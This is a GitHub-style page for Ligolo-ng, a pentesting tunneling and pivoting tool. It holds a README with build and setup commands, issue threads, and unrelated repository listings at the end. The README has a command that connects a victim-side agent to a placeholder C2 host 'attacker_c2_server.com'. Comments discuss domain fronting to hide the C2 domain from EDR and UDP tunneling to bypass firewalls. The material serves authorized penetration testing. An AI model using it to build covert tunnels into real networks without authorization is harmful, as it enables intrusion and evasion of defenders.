An advanced, yet simple, tunneling/pivoting tool that uses a TUN interface.

Ligolo-ng : Tunneling like a VPN

Ligolo Logo

An advanced, yet simple, tunneling tool that uses a TUN interface.

by TNP IT Security

GPLv3 Go Report

Table of Contents

Introduction

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection without the need of SOCKS.

Features

  • Tun interface (No more SOCKS!)
  • Simple UI with agent selection and network information
  • Easy to use and setup
  • Automatic certificate configuration with LetsEncrypt
  • Performant (Multiplexing)
  • Does not require high privileges
  • Socket listening/binding on the agent
  • Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

  • SYN are translated to connect() on remote
  • SYN-ACK is sent back if connect() succeed
  • RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
  • Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Building Ligolo-ng

Building ligolo-ng:

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build agent for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go

Setup Ligolo-ng

Start the proxy server on your Command and Control (C2) server (default 11601 listening will be use):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up
$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

When using -autocert, the proxy will automatically request a certificate (using Letsencrypt) for attacker_c2_server.com when an agent connects.

Self-signed certificates (NOT RECOMMENDED)

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Self-signed certificates can be generated using the following command:

# NOT RECOMMENDED! Don't use self-signed certificates.
$ go run `go env GOROOT`/src/crypto/tls/generate_cert.go -ecdsa-curve P256 -ed25519 -host yourhostname.com

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3                                 │
├──────────────┬──────────────────────────────┤
│ Name         │ wlp3s0                       │
│ Hardware MAC │ de:ad:be:ef:ca:fe            │
│ MTU          │ 1500                         │
│ Flags        │ up|broadcast|multicast       │
│ IPv4 Address │ 192.168.0.30/24             │
└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

$ sudo ip route add 192.168.0.0/24 dev ligolo

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬────────────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────┤
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                             

Demo

ligolo-ng_demo.mp4

Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets

  • TCP
  • UDP
  • ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[  5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes       
[  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes       
[  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes       
[  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes       
[  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes       
[  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes       
[  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes       
[  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes       
[  5]   8.00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes       
[  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender
[  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver

Caveats

Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

Todo

  • Implement other ICMP error messages (this will speed up UDP scans) ;
  • Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
  • Implement multi-platform proxy.

Credits

  • Nicolas Chatelain <nicolas.chatelain -at- tnpconsultants.com>

tnpitsecurity.com

Comments
  • unexistend ip reply to ping, why?

    unexistend ip reply to ping, why?

    hi, i tried use your tool, but i have problem, i receive ping from all 255 ips from my network.
    I can ping any unexistend ip from my network. why?

    only these ip are live in network:

    Discovered open port 3389/tcp on 192.168.0.1
    Discovered open port 3389/tcp on 192.168.0.146
    Discovered open port 3389/tcp on 192.168.0.147
    
    map 192.168.0.0/24 -p 3389 -v -n
    
  • Include windows version of proxy (server) for windows without TUN

    Include windows version of proxy (server) for windows without TUN

    I really would appreciate if you include the windows version of proxy (server) without using TUN like the original ligolo does. I use another software to redirect all traffic to proxy (server) and also TUN isn't available in windows. A TAP driver must be created in windows but i am far from a expert in this field.

  • Feature request: use ligolo without certificates

    Feature request: use ligolo without certificates

    I'd like to be able to use it on internal pentests or HackTheBox using only IP addresses, no domain names or certificates. This doesn't seem possible. Thanks

  • ligolo-ng not building on go 1.18

    ligolo-ng not building on go 1.18

    I have this build error with go 1.18.3

    $ go build -o proxy cmd/proxy/main.go                                                                                                                                                                                                        
    package command-line-arguments                                                                                                                                                                                                               
            imports ligolo-ng/cmd/proxy/app                                                                                                                                                                                                      
            imports ligolo-ng/pkg/proxy/netstack                                                                                                                                                                                                 
            imports gvisor.dev/gvisor/pkg/tcpip                                                                                                                                                                                                  
            imports gvisor.dev/gvisor/pkg/atomicbitops                                                                                                                                                                                           
            imports gvisor.dev/gvisor/pkg/state                                                                                                                                                                                                  
            imports gvisor.dev/gvisor/pkg/state/wire                                                                                                                                                                                             
            imports gvisor.dev/gvisor/pkg/gohacks: build constraints exclude all Go files in /home/noraj/.asdf/installs/golang/1.18.3/packages/pkg/mod/gvisor.dev/[email protected]/pkg/gohacks
    

    However it's building properly with go 1.17.9.

    Having 1.18 supported would be nice but in case you decide it's a won't fix I prepared a PR #18 to warn only go 1.17 is supported and not go >= 1.17.

  • ConnectEx: An attempt was made to access a socket in a way forbidden by its access permissions

    ConnectEx: An attempt was made to access a socket in a way forbidden by its access permissions

    Hi,

    There is an error when I try to run agent.exe on a victim machine.

    C:\Users\ariah\Documents>.\agent.exe -ignore-cert -connect 192.168.49.134:11601
    time="2022-01-01T09:42:16-08:00" level=warning msg="warning, certificate validation disabled"
    time="2022-01-01T09:42:16-08:00" level=error msg="Connection error: dial tcp 192.168.49.134:11601: connectex: An attempt was made to access a socket in a way forbidden by its access permissions."
    time="2022-01-01T09:42:16-08:00" level=fatal msg="dial tcp 192.168.49.134:11601: connectex: An attempt was made to access a socket in a way forbidden by its access permissions."
    
    C:\Users\ariah\Documents>
    

    This error happened while I was doing Nickel from Proving Grounds. I don't know if the error is related to this machine particularly.

    Do I need any special right to run the agent ?

    Best regards,

    Atsika

  • [Bug] Ligolo is incompatible with wintun 0.14

    [Bug] Ligolo is incompatible with wintun 0.14

    Hi!

    I was testing out your tool and there is issue in using it with wintun v0.14.1 (but works fine with wintun 0.13). Here you can check log output.

    Thanks for your work!

  • -retry option seems not working

    -retry option seems not working

    Thank you for the effort to bring this great tool. When I'm explorering its capability, I found out that the -retry option seems not working, here is my experiment env: 1.vps aka proxy (win10) 2.my pc aka agent (win10)

    step 1. vps start commandline:

    proxy.exe -laddr 0.0.0.0:22 -selfcert -tun tun0 -v
    

    Proxy output:

    C:\Users\Administrator\Desktop\ligolo-ng_proxy_0.3_Windows_64bit>proxy.exe -laddr 0.0.0.0:22 -selfcert -tun tun0 -v
    2021/12/17 15:17:48 Using existing driver 0.14
    2021/12/17 15:17:48 Creating adapter
    time="2021-12-17T15:17:48+08:00" level=warning msg="Using automatically generated self-signed certificates (Not recommended)" func="ligolo-ng/pkg/proxy.(*Controller).ListenAndServe" file="/home/runner/work/ligolo-ng/ligolo-ng/pkg/proxy/controller.go:65"
    time="2021-12-17T15:17:48+08:00" level=info msg="Listening on 0.0.0.0:22" func="ligolo-ng/pkg/proxy.(*Controller).ListenAndServe" file="/home/runner/work/ligolo-ng/ligolo-ng/pkg/proxy/controller.go:135"
    2021/12/17 15:17:48 Removed orphaned adapter "tun0 1"
        __    _             __
       / /   (_)___ _____  / /___        ____  ____ _
      / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
     / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
    /_____/_/\__, /\____/_/\____/     /_/ /_/\__, /
            /____/                          /____/
    
    Made in France ♥ by Cha! - TNP IT Security <tnpitsecurity.com>
    
    

    step 2. agent start commandline:

    agent.exe -connect vps_ip:22 -ignore-cert -retry -v
    

    Proxy output (Agent joined):

    ligolo-ng » time="2021-12-17T15:18:08+08:00" level=info msg="Agent joined." func=main.main.func1 file="/home/runner/work/ligolo-ng/ligolo-ng/cmd/proxy/main.go:70" name="WIN-xxxxxxxxxxxxxxU\\Administrator@WIN-xxxxxxxxxxxxxxU" remote="_some_ip_:37134"
    ligolo-ng »
    ligolo-ng »
    

    step 3. shutdown proxy by manually Ctrl-C and restart proxy by the same command Proxy output (input Ctrl-c and restart):

    ligolo-ng »
    ligolo-ng »
    ligolo-ng » ^C
    input Ctrl-c once more to exit
    ligolo-ng » ^C
    interrupted
    
    C:\Users\Administrator\Desktop\ligolo-ng_proxy_0.3_Windows_64bit>proxy.exe -laddr 0.0.0.0:22 -selfcert -tun tun0 -v
    2021/12/17 15:18:13 Using existing driver 0.14
    2021/12/17 15:18:13 Creating adapter
    time="2021-12-17T15:18:14+08:00" level=warning msg="Using automatically generated self-signed certificates (Not recommended)" func="ligolo-ng/pkg/proxy.(*Controller).ListenAndServe" file="/home/runner/work/ligolo-ng/ligolo-ng/pkg/proxy/controller.go:65"
    time="2021-12-17T15:18:14+08:00" level=info msg="Listening on 0.0.0.0:22" func="ligolo-ng/pkg/proxy.(*Controller).ListenAndServe" file="/home/runner/work/ligolo-ng/ligolo-ng/pkg/proxy/controller.go:135"
    2021/12/17 15:18:14 Removed orphaned adapter "tun0 1"
        __    _             __
       / /   (_)___ _____  / /___        ____  ____ _
      / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
     / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
    /_____/_/\__, /\____/_/\____/     /_/ /_/\__, /
            /____/                          /____/
    
    Made in France ♥ by Cha! - TNP IT Security <tnpitsecurity.com>
    
    ligolo-ng »
    

    step 4. Agent retry connecting proxy but failed. Agent output(retry failed):

    time="2021-12-17T15:21:12+08:00" level=warning msg="warning, certificate validation disabled" func=main.main file="ligolo-ng/cmd/agent/main.go:82"
    time="2021-12-17T15:21:12+08:00" level=info msg="Connection established" func=main.connect file="ligolo-ng/cmd/agent/main.go:110" addr="vps_ip:22"
    222222222
    time="2021-12-17T15:21:17+08:00" level=error msg="Connection error: read tcp 192.168.121.130:49188->vps_ip:22: wsarecv: An existing connection was forcibly closed by the remote host." func=main.main file="ligolo-ng/cmd/agent/main.go:90"
    time="2021-12-17T15:21:17+08:00" level=info msg="Retrying in 5 seconds." func=main.main file="ligolo-ng/cmd/agent/main.go:92"
    time="2021-12-17T15:21:22+08:00" level=info msg="Connection established" func=main.connect file="ligolo-ng/cmd/agent/main.go:110" addr="vps_ip:22"
    222222222
    time="2021-12-17T15:21:22+08:00" level=error msg="Connection error: write tcp 192.168.121.130:49188->vps_ip:22: use of closed network connection" func=main.main file="ligolo-ng/cmd/agent/main.go:90"
    time="2021-12-17T15:21:22+08:00" level=info msg="Retrying in 5 seconds." func=main.main file="ligolo-ng/cmd/agent/main.go:92"
    

    It seems agent can not connect proxy by using -retry options, I put fmt.Println("2222222") in cmd\agent\main.go:115. I think the problem is located at followed code in cmd\agent\main.go:101-120:

    func connect(conn net.Conn, config *tls.Config) error {
    	tlsConn := tls.Client(conn, config)
    
    	yamuxConn, err := yamux.Server(tlsConn, yamux.DefaultConfig())
    	if err != nil {
    		fmt.Println("1111111111")
    		return err
    	}
    
    	logrus.WithFields(logrus.Fields{"addr": tlsConn.RemoteAddr()}).Info("Connection established")
    
    	for {
    		conn, err := yamuxConn.Accept()
    		if err != nil {
    			fmt.Println("222222222")
    			return err
    		}
    		go handleConn(conn)
    	}
    }
    

    There is something wrong with yamux dealing with conn. FYI, I used Wireshark try to capture stream but ,surprisingly ,agent didn't send TCP package during retrying. Please check if you have the same issue, if does, please fix it, thank you!

  • UDP connection trigger crash - panic: Incrementing non-positive count 0xc000222380 on stack.PacketBuffer

    UDP connection trigger crash - panic: Incrementing non-positive count 0xc000222380 on stack.PacketBuffer

    crash info:

    panic: Incrementing non-positive count 0xc000222380 on stack.PacketBuffer
    
    goroutine 90 [running]:
    github.com/nicocha30/gvisor-ligolo/pkg/tcpip/stack.(*packetBufferRefs).IncRef(0xc000222380)
            /home/runner/go/pkg/mod/github.com/nicocha30/[email protected]/pkg/tcpip/stack/packet_buffer_refs.go:80 +0x105
    github.com/nicocha30/gvisor-ligolo/pkg/tcpip/stack.(*PacketBuffer).IncRef(...)
            /home/runner/go/pkg/mod/github.com/nicocha30/[email protected]/pkg/tcpip/stack/packet_buffer.go:190
    github.com/nicocha30/gvisor-ligolo/pkg/tcpip/transport/udp.(*endpoint).HandlePacket(0xc000222a80, {0x35, {0xc00025c3a0, 0x4}, 0xd332, {0xc00025c39c, 0x4}}, 0xc000222380)
            /home/runner/go/pkg/mod/github.com/nicocha30/[email protected]/pkg/tcpip/transport/udp/endpoint.go:964 +0x2ef
    github.com/nicocha30/gvisor-ligolo/pkg/tcpip/transport/udp.(*ForwarderRequest).CreateEndpoint(0xc000232b00, 0x2)
            /home/runner/go/pkg/mod/github.com/nicocha30/[email protected]/pkg/tcpip/transport/udp/forwarder.go:100 +0x3c6
    github.com/nicocha30/ligolo-ng/pkg/proxy/netstack.HandlePacket.func1()
            /home/runner/work/ligolo-ng/ligolo-ng/pkg/proxy/netstack/handlers.go:141 +0x47f
    created by github.com/nicocha30/ligolo-ng/pkg/proxy/netstack.HandlePacket
            /home/runner/work/ligolo-ng/ligolo-ng/pkg/proxy/netstack/handlers.go:128 +0x8f7
    

    how to produce: when agent connected and start tunneling, on client side: $ ncat -lvup 53 on server side: $ ncat -vu client-ip 53 and then send any buffer like aaaa, the server side will crash. maybe it is a bug relate to gvisor, ref issue https://github.com/tailscale/tailscale/issues/4144

  • ligolo-ng proxy error handling for missing tun interface

    ligolo-ng proxy error handling for missing tun interface

    I'm using ligolo-ng_proxy_0.3.3_Linux_64bit.tar.gz.

    But when launching the proxy it seems to have an error with the tun interface.

    ./proxy -laddr 192.168.1.26:11601 -selfcert 
    panic: tun.Open: no such device
    
    goroutine 1 [running]:
    ligolo-ng/pkg/proxy/netstack.(*NetStack).new(0xc00000d350, {0x9dce33, 0x6})
            /home/runner/work/ligolo-ng/ligolo-ng/pkg/proxy/netstack/stack.go:176 +0x688
    ligolo-ng/pkg/proxy/netstack.NewStack(...)
            /home/runner/work/ligolo-ng/ligolo-ng/pkg/proxy/netstack/stack.go:87
    ligolo-ng/cmd/proxy/app.Run({0x9dce33, 0x6})
            /home/runner/work/ligolo-ng/ligolo-ng/cmd/proxy/app/app.go:55 +0xd2
    main.main()
            /home/runner/work/ligolo-ng/ligolo-ng/cmd/proxy/main.go:38 +0x2a6
    

    It is because I forget to create a tun interface before.

    $ sudo ip tuntap add user [your_username] mode tun ligolo
    $ sudo ip link set ligolo up
    

    So instead of unhandled error could ligolo handle the error and send an error message like no ligolo tun interface detected, verify that you created and started the tun interface? tun.Open: no such device is already a bit but it could be more explicit. This is especially common to forgot recreating the tun interface after a reboot.

  • Ligolo blocks after TCP scanning

    Ligolo blocks after TCP scanning

    Hello,

    When launching a network scanning (TCP connect scan) through Ligolo, I realized that the TCP outbound connections were blocked after a few minutes.

    Example of scan with nmap: nmap 10.100.100.0/16 -p- -sT -Pn -T5

    At the beginning of the scan, I'm able to connect every TCP port through the ligolo interface. After a few minutes (~10 mins), all the TCP connection attemps fail.

    When relaunching the server (proxy) with the agent set to "auto retry", it works again.

    Is there a limit on the number of connections that Ligolo server can accept?

    Thank you.

  • onnectex: An attempt was made to access a socket in a way forbidden by its access permissions

    onnectex: An attempt was made to access a socket in a way forbidden by its access permissions

    Hi,

    There is an error when I try to run agent.exe on a victim machine.

    C:\Users\ariah\Documents>.\agent.exe -ignore-cert -connect 192.168.49.134:11601
    time="2022-01-01T09:42:16-08:00" level=warning msg="warning, certificate validation disabled"
    time="2022-01-01T09:42:16-08:00" level=error msg="Connection error: dial tcp 192.168.49.134:11601: connectex: An attempt was made to access a socket in a way forbidden by its access permissions."
    time="2022-01-01T09:42:16-08:00" level=fatal msg="dial tcp 192.168.49.134:11601: connectex: An attempt was made to access a socket in a way forbidden by its access permissions."
    
    C:\Users\ariah\Documents>
    

    This error happened while I was doing Nickel from Proving Grounds. I don't know if the error is related to this machine particularly.

    Best regards,

    Atsika

  • Add websocket support, Add TLS ECH domain fronting, Add agent checkin…

    Add websocket support, Add TLS ECH domain fronting, Add agent checkin…

    1. Add websocket support. Now agent can connect via CDN (etc Clouflare)
    2. Add TLS1.3 ECH (encrypted client helo). Now C2 domain will not be visible in EDR/Proxies/etc. Additionally yu can set front domain (ex. microsoft.com to be in TLS SNI)
    3. Add agent auto deleting when agent is lost and its yamux session is closed

    P.S Because Cloudflare GO fork is required for compiling, I think that it should be cloned to separate branch (ex websocket)

  • [Request] Ligolo-NG over UDP

    [Request] Ligolo-NG over UDP

    Hey there!

    Would it be possible to encapsulate the traffic within UDP in order to bypass firewalls? I assume many companies block outgoing TCP but allow e.g. 53, 123, 161 or 500 over UDP.

    From the code it looks like the TLS implementation does need TCP.

  • Error building on Go 1.19 on MacOS

    Error building on Go 1.19 on MacOS

    I'm getting a similar error to #17 trying to build Ligolo-ng on a Mac with Golang 1.19:

    $ go build -o proxy cmd/proxy/main.go
    go: downloading github.com/hashicorp/yamux v0.1.0
    go: downloading github.com/jedib0t/go-pretty/v6 v6.3.5
    package command-line-arguments
    	imports github.com/nicocha30/ligolo-ng/cmd/proxy/app
    	imports github.com/nicocha30/ligolo-ng/pkg/proxy/netstack
    	imports github.com/nicocha30/ligolo-ng/pkg/proxy/netstack/tun
    	imports github.com/nicocha30/gvisor-ligolo/pkg/tcpip/link/rawfile: build constraints exclude all Go files in /Users/dismantl/go/pkg/mod/github.com/nicocha30/[email protected]/pkg/tcpip/link/rawfile
    $ go version
    go version go1.19 darwin/amd64
    

    Interestingly, it builds fine with Go 1.19 on Windows and Linux.

  • Local port redirect

    Local port redirect

    What is there a way to expose expose ports listening on localhost ?

    I have a Linux proxy and a Windows agent that can communicate through an OpenVPN tunnel (both in 10.10). On the agent 127.0.0.1:3306 is listening.

    I run in the proxy: listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:3306 --tcp

    I can't add the route to the Windows host as it disconnects the agent.

    I added a forged route: ip route a 42.42.42.42 dev ligolo and it seems the packets a forwarded to the agent but no response in return.

Golang-tutorials - This repository contains golang tutorials right from basic to advanced.

Golang-tutorials This repository contains golang tutorials right from basic to advanced. Go is a statically typed, compiled programming language desig

Jan 3, 2022
A simple Kubernetes Operator template that uses Golang, use it to build your own operators
A simple Kubernetes Operator template that uses Golang, use it to build your own operators

A simple programmatic Kubernetes Operator template. Use this to create your own Kubernetes operators with golang. Build with KIND (Kubernetes in Docke

May 13, 2022
A simple go application that uses Youtube Data API V3 to show the real-time stats for a youtube channel such as the subs, views, avg. earnings etc.
A simple go application that uses Youtube Data API V3 to show the real-time stats for a youtube channel such as the subs, views, avg. earnings etc.

Youtube-channel-monitor A simple go application that uses Youtube Data API V3 to show the real-time stats for a youtube channel such as the subs, view

Dec 30, 2021
Gocfg - A naive and simple cfg parser that uses maps internally done in Go

gocfg A simple ini-like parser based on maps. Key iteration can be done using th

Sep 13, 2022
Just yet another Prometheus exporter for Cosmos Hub (Gaia).

gaiad_exporter Just yet another Prometheus exporter for Cosmos Hub (Gaia). Build Use the make, Luke! $ make Usage $ gaiad_exporter --help usage: gaiad

Nov 27, 2021
Infrastructure testing helper for AWS Resources that uses AWS SSM to remotely execute commands on EC2 machines.
Infrastructure testing helper for AWS Resources that uses AWS SSM to remotely execute commands on EC2 machines.

Infrastructure testing helper for AWS Resources that uses AWS SSM to remotely execute commands on EC2 machines, to enable infrastructure engineering teams to write tests that validate behaviour.

Sep 5, 2022
A package manager written in Go which uses the LFS Symlink method.

pacsym A package manager powered by symlinks. How to use The package manager assumes that all software installed is installed with /usr/pkg/<packagena

Dec 11, 2021
Provider-generic-workflows - A generic provider which uses argo workflows to define the backend actions.

provider-generic-workflows provider-generic-workflows is a generic provider which uses argo workflows for managing the external resource. This will re

Jan 1, 2022
KNoC is a Kubernetes Virtual Kubelet that uses an HPC cluster as the container execution environment
KNoC is a Kubernetes Virtual Kubelet that uses an HPC cluster as the container execution environment

Kubernetes Node on Cluster KNoC is a Virtual Kubelet Provider implementation that manages real pods and containers in a remote container runtime by su

Oct 26, 2022
A letsencrypt client that uses etcd as its storage.

letsencrypt-with-etcd This is a letsencrypt client that uses etcd as its storage. It stores your (automatically created) LetsEncrypt account in /letse

Jan 20, 2022
Pagodasite - Pagoda site written in go uses echo postgresql redis-cli
Pagodasite - Pagoda site written in go uses echo postgresql redis-cli

Pagoda: Rapid, easy full-stack web development starter kit in Go Table of Conten

Feb 20, 2022
Kepler (Kubernetes-based Efficient Power Level Exporter) uses eBPF to probe energy related system stats and exports as Prometheus metrics
Kepler (Kubernetes-based Efficient Power Level Exporter) uses eBPF to probe energy related system stats and exports as Prometheus metrics

kepler Kepler (Kubernetes Efficient Power Level Exporter) uses eBPF to probe energy related system stats and exports as Prometheus metrics Architectur

Dec 26, 2022
The Coherence command line interface (CLI) is a lightweight tool, in the tradition of tools such as kubectl
The Coherence command line interface (CLI) is a lightweight tool, in the tradition of tools such as kubectl

Coherence Command Line Interface (CLI) Contents Overview Why use the Coherence C

Dec 15, 2022
Go package exposing a simple interface for executing commands, enabling easy mocking and wrapping of executed commands.

go-runner Go package exposing a simple interface for executing commands, enabling easy mocking and wrapping of executed commands. The Runner interface

Oct 18, 2022
Command Line Interface for Scaleway
Command Line Interface for Scaleway

Scaleway CLI (v2) Scaleway CLI is a tool to help you pilot your Scaleway infrastructure directly from your terminal. Installation With a Package Manag

Jan 3, 2023
Web user interface and service agent for the monitoring and remote management of WinAFL.
Web user interface and service agent for the monitoring and remote management of WinAFL.

WinAFL Pet WinAFL Pet is a web user interface dedicated to WinAFL remote management via an agent running as a system service on fuzzing machines. The

Nov 9, 2022
Sample Driver that provides reference implementation for Container Object Storage Interface (COSI) API

cosi-driver-minio Sample Driver that provides reference implementation for Container Object Storage Interface (COSI) API Community, discussion, contri

Oct 10, 2022
This plugin helps you to use the AWS Command Line Interface (AWS CLI) to start and end sessions to your managed instances

Session Manager Plugin This plugin helps you to use the AWS Command Line Interface (AWS CLI) to start and end sessions to your managed instances. Sess

Dec 28, 2022
🏯 Monitor your (gitlab/github) CI/CD pipelines via command line interface with fortress
🏯 Monitor your (gitlab/github) CI/CD pipelines via command line interface with fortress

__ _ / _| | | | |_ ___ _ __| |_ _ __ ___ ___ ___ | _/ _ \| '__| __| '__/ _ \/ __/ _

Mar 31, 2022